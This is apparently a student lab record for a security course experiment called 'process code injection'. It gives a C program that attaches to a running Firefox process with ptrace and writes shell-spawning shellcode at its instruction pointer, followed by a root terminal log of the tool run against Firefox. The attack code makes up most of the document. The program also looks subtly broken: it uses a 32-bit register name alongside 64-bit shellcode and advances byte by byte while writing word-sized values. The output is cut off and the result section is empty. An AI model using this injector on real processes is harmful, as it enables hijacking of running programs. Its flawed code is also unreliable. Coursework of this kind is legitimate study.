Roll No:210701303

EXP NO:8

DATE:

PROCESS CODE INJECTION

AIM:

To do process code injection on Firefox using ptrace system call

ALGORITHM:

Step 1: Find out the PID of the running Firefox program.
Step 2: Create the code injection file.
Step 3: Get the PID of Firefox from the command line arguments.
Step 4: Allocate memory buffers for the shellcode.
Step 5: Attach to the victim process with PTRACE_ATTACH.
Step 6: Get the register values of the attached process.
Step 7: Use PTRACE_POKETEXT to insert the shellcode.
Step 8: Detach from the victim process using PTRACE_DETACH.

PROGRAM:

```
#  include  <stdio.h>
# include  <stdlib.h>
# include  <string.h>
# include <unistd.h>
# include <sys/wait.h>
# include <sys/ptrace.h>
# include <sys/user.h>

char shellcode[] = {
   "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97"
   "\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
};

void header() {
   printf(" --- Memory bytecode injector\n");
```

```
}
int main(int argc, char** argv) {
   int i, size, pid = 0;
   struct user_regs_struct reg;
   char* buff;
   header();
   pid = atoi(argv[1]);
   size = sizeof(shellcode);
   buff = (char*)malloc(size);
   memset(buff, 0x0, size);
   memcpy(buff, shellcode, sizeof(shellcode));
   ptrace(PTRACE_ATTACH, pid, 0, 0);
   wait((int*)0);
   ptrace(PTRACE_GETREGS, pid, 0, &reg);
   printf("Writing EIP 0x%x, process %d\n", reg.eip, pid);
   for (i = 0; i < size; i++) {
      ptrace(PTRACE_POKETEXT, pid, reg.eip + i, *(int*)(buff + i));
   }
   ptrace(PTRACE_DETACH, pid, 0, 0);
   free(buff);
   return 0;
}
```

OUTPUT:

```
[root@localhost ~]# vi codeinjection.c
[root@localhost ~]# gcc codeinjection.c -o codeinject
[root@localhost ~]#ps -e|grep firefox
1433 ? 00:01:23 firefox
[root@localhost ~]# ./codeinject 1433
----Memory bytecode injector-----
Writing EIP 0x6, proc
```

RESULT: